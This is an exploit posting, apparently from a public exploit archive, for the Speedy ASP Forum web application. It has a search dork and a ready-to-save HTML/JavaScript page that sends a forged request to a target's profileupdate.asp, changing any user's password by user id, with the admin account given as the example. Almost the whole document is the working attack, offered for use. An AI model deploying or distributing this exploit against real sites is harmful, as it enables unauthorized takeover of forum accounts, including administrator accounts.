Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit
# Title : Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit
# Dork : Copyright © ASPwebSoft
# Author : ajann
# greetz : Nukedx
###Code:
Save to .htm
*************************************************************************************************************************************
<title>Pass Change</title>
<script language="JavaScript">
//Coded ajann
function islemKontrol(){
if(document.InputForm.name.value=="" || document.InputForm.email.value==""
|| document.InputForm.id.value=="" || document.InputForm.password.value=="" ||
document.InputForm.passwordre.value=="" ||
document.InputForm.country.options.value == 0 ||
document.InputForm.adres.value=="" ){
alert("Alani Bos Biraktiniz")
return false
}
{
document.InputForm.action= document.InputForm.adres.value
document.InputForm.submit();
return true
}
}
</script>
<body bgcolor="#000000">
<form name = "InputForm" method = "post" onSubmit = 'return islemKontrol()'>
<b><font color="#808080" face="Verdana">Speedy Forum User Pass Change //
ajann</font></b><p><font face="Verdana" size="2" color="#FF0000"><b>User
Name
: </b></font>
<input type="text" name="name" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial"> Example: Surname
Name</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User
Mail
: </b></font>
<input type="text" name="email" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial"> Example:
mail@xxxxxxxxxx</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User
İd
: </b></font>
<input type="text" name="id" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial"> Example: İd:1
Admin</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User Country : </b>
</font>
<select size="1" name="country">
<option value=0>Choose Country</option>
<option value="Turkey">Turkey</option>
</select> <font size="1" color="#C0C0C0" face="Arial"> Example:
Turkey</font><br>
<b>
<font face="Verdana" size="2" color="#FF0000">User </font>
<font face="Verdana" size="2" color="#0000FF">Pass </font>
<font face="Verdana" size="2"
color="#FF0000">
: </font></b>
<input type = "text" name="password" value="Password" size="20">
<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>
<b>
<font face="Verdana" size="2" color="#FF0000">User </font>
<font face="Verdana" size="2" color="#0000FF">RePass</font><font face="Verdana"
size="2" color="#FF0000">
: </font></b>
<input type = "text" name="passwordre" value="Re Password" size="20">
<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>Form Action : </b>
</font>
<input type="text" name="adres" value="profileupdate.asp" size="20">
<font size="1" color="#C0C0C0" face="Arial"> Example:
http://[target]/[path]/profileupdate.asp</font></p>
<p>
<input type = "submit" name="Submit" value="Change"> </p>
<br>
</form>
*************************************************************************************************************************************
And Code